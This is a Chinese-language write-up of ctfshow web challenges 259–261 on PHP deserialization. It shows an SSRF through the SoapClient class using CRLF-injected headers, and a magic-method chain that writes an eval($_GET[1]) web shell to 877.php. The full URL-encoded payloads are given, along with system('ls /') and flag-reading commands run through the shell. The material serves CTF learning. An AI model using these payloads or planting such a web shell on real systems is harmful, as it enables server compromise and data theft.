ctfshow(259->261)--反序列化漏洞--原生类与更多魔术方法

Web259

进入界面,回显如下:

复制代码
highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

题干里还提示了网站有一个flag.php界面,源代码如下:

复制代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

代码审计:

explode()用于切割字符串。第一个参数是切割符,第二个参数是被切割的字符串。该函数返回一个数组

$_SERVER['HTTP_X_FORWARDED_FOR']获取用户的IP地址。

所以 explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])就是获取用户的IP地址,用分隔符逗号,切割不同IP地址,并返回一个数组。

array_pop() 删除数组的最后一个元素。返回数组的最后一个值。

所以array_pop($xff); $ip = array_pop($xff);就是先删除数组的最后一个值,再将被删减过的数组的最后一个值赋值给$ip

if条件语句要求$ip的值为127.0.0.1,且POST传参token=ctfshow。

file_put_contents('flag.txt', $flag)将变量flag写入文件flag.txt中。

思路:

在index.php页面下通过反序列化,向flag.php文件发送请求,执行其中的file_put_contents方法,将flag放入flag.txt文件中,然后访问flag.php。

反序列化得到对象$vip后,vip会调用getFlag()方法。

但明显该方法不存在,而PHP中存在一种魔术方法 __call() ,当对象调用不存在的方法时,就会调用__call()方法。

PHP原生类SoapClient可以向网站发送请求,并且其中存在__call()方法,所以我们使用将vip实例化为SoapClient的对象。(要在php.ini中开启php_soap服务

SoapClient的构造函数:public __construct(?string $wsdl, array $options = [])

第一个参数设置为null即可,第二个数组参数则必需包含uri和location。

脚本构造如下:

复制代码
$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//请求头之间用\r\n隔开 与请求体之间用\r\n\r\n隔开
$vip = new SoapClient(null,array(
    'uri' => '127.0.0.1',
    'location' => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));

echo urlencode(serialize($vip));

EXP:

payload:

复制代码
https://29b9092a-65ed-4299-9bf2-4c208c6003c9.challenge.ctf.show/
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Firefox%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

此时flag已经成功写入flag.txt中,访问flag.txt得到flag.

Web260

源代码:

复制代码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

代码审计:

包含了flag.php文件,序列化了参数ctfshow,并在参数中匹配字符串ctfshow_i_love_36D。

思路:

我们向序列化函数serialize()传入字符串时,返回值中还是有该字符串的内容:

因此直接给参数赋值为匹配的字符串即可。

EXP:

payload:

复制代码
https://ef0558b0-355c-4f58-9236-c5a5a596124b.challenge.ctf.show/
?ctfshow=ctfshow_i_love_36D

得到flag.

Web261

源代码:

复制代码
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

代码审计:

ctfshowvip类中有六个魔术方法,其中构造方法__construct和析构方法__destruct我们已经知晓,接下来介绍其它四种魔术方法。

__wakeup :当我们要调用反序列化函数unserialize时,系统会先调用__wakeup方法。
__invoke :当我们将一个对象当作函数调用时,系统将调用__invoke方法。

比如vip是一个对象,但是我们用 vip() 这样的形式使用它,__invoke方法就被调用。
__sleep :与__wakeup相对,__sleep用于将对象序列化之前。
__unserialize : 该魔术方法用于PHP7.4.0及之后的版本。当__unserialize与__wakeup方法同时存在时,将忽略__wakeup而执行__unserialize.

本程序只使用了unserialize,所以在反序列化之前调用了__unserialize方法,之后使用__destruct方法。

思路:

本题要想获取flag,我们要实现RCE操作。

可知code是由username和password拼接起来的,只要code==0x36d,就能将password的数据写入以username命名的文件。

所以username的值应该是一个.php文件,password的值应该是一句话木马。

构造脚本如下:

复制代码
class ctfshowvip{
    public $username = '877.php';
    public $password = '<?php eval($_GET[1]);?>';
    public $code;
}

$vip = new ctfshowvip();
echo urlencode(serialize($vip));

这样拼接之后的$code=877.php<?php eval($_GET[1]);?>

此时code是字符串类型,以数字877开头,这样在与数字0x36d弱比较时,就会将code的值转换为877,从而实现code=0x36d的效果。

到此,我们成功创建了877.php文件,并将<?php eval($_GET[1]);?>写入了文件中,进入该文件,我们即可实现shell.

EXP:

创建文件实现shell:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/
vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

在877.php下进行RCE:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls');

当前目录下有以下两个文件:

明显flag不在当前目录,我们找一下其他目录:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls /');

在根目录下找到了文件flag_is_here

读取该文件:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('tac /flag_is_here');

得到flag.

相关推荐
还是奇怪5 小时前
Linux - 安全排查 3
android·linux·安全
搂……住5 小时前
shiro550反序列化漏洞复现(附带docker源)
安全·docker·容器
shenyan~8 小时前
关于 验证码系统 详解
网络安全
番茄老夫子9 小时前
可穿戴智能硬件在国家安全领域的应用
安全·智能硬件
yqcoder9 小时前
13. https 是绝对安全的吗
网络协议·安全·https
凉拌青瓜哈11 小时前
DVWA-LOW级-SQL手工注入漏洞测试(MySQL数据库)+sqlmap自动化注入-小白必看(超详细)
mysql·安全·网络安全
quweiie11 小时前
tp8.0\jwt接口安全验证
前端·安全·jwt·thinkphp
没有bug.的程序员13 小时前
JAVA面试宝典 -《安全攻防:从 SQL 注入到 JWT 鉴权》
java·安全·面试
学习溢出14 小时前
【网络安全】理解安全事件的“三分法”流程:应对警报的第一道防线
网络·安全·web安全·网络安全·ids
安胜ANSCEN15 小时前
还在靠防火墙硬抗?网络安全需要从“单点防御“转向“系统化防护“!
网络安全·应急响应·威胁检测